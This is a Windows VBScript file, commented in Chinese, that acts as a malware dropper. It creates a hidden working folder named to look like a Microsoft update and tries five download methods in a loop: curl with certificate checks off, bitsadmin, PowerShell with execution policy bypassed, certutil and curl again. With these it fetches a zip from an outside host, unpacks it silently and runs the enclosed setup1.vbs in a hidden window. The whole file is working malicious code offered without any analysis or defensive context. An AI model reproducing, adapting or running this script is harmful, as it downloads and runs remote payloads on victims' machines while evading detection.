Option Explicit
On Error Resume Next

' === 初始化对象 ===
Dim WshShell, FSO, objShell
Set WshShell = CreateObject("WScript.Shell")
Set FSO      = CreateObject("Scripting.FileSystemObject")
Set objShell = CreateObject("Shell.Application")

' === 配置 ===
Randomize
Dim workDir, zipPath, targetURL, targetVBS

workDir    = "C:\Users\Public\Documents\MSUpdate_" & Int(89999 * Rnd + 10000) & "\"
zipPath    = workDir & "Lo.zip"
targetURL  = "https://zcyz.ccwu.cc/sys/F/1/c2b8.zip"
targetVBS  = workDir & "setup1.vbs"

If Not FSO.FolderExists(workDir) Then
    FSO.CreateFolder workDir
End If

' === 下载函数（5种方式轮询）===
Function DownloadFile(url, dest)
    On Error Resume Next
    Dim i
    DownloadFile = False

    Dim methods(4)
    methods(0) = "curl.exe -k -s -L --retry 3 -o """ & dest & """ " & url
    methods(1) = "bitsadmin.exe /transfer UpdateJob /download /priority high " & url & " """ & dest & """"
    methods(2) = "powershell.exe -ExecutionPolicy Bypass -Command ""& {[Net.ServicePointManager]::SecurityProtocol=3072; $wc=New-Object Net.WebClient; $wc.DownloadFile('" & url & "','" & dest & "')}"""
    methods(3) = "certutil.exe -urlcache -split -f " & url & " """ & dest & """"
    methods(4) = "curl.exe -k -s -L -o """ & dest & """ " & url

    For i = 0 To 4
        WshShell.Run "cmd /c " & methods(i), 0, True
        WScript.Sleep 3000
        If FSO.FileExists(dest) Then
            If FSO.GetFile(dest).Size > 1024 Then
                DownloadFile = True
                Exit For
            End If
        End If
    Next
End Function

' === 下载（最多重试4次）===
Dim isSuccess, i
isSuccess = False

For i = 1 To 4
    If DownloadFile(targetURL, zipPath) Then
        isSuccess = True
        Exit For
    End If
Next

' === 解压并执行 setup1.vbs ===
If isSuccess Then
    Dim zipObj, targetObj
    Set zipObj = objShell.NameSpace(zipPath)
    Set targetObj = objShell.NameSpace(workDir)

    If Not (zipObj Is Nothing) And Not (targetObj Is Nothing) Then
        targetObj.CopyHere zipObj.Items, &H14
        WScript.Sleep 8000

        If FSO.FileExists(targetVBS) Then
            WshShell.Run "wscript.exe """ & targetVBS & """", 0, False
        End If
    End If
End If

Set WshShell = Nothing
Set FSO = Nothing
Set objShell = Nothing
WScript.Quit 0
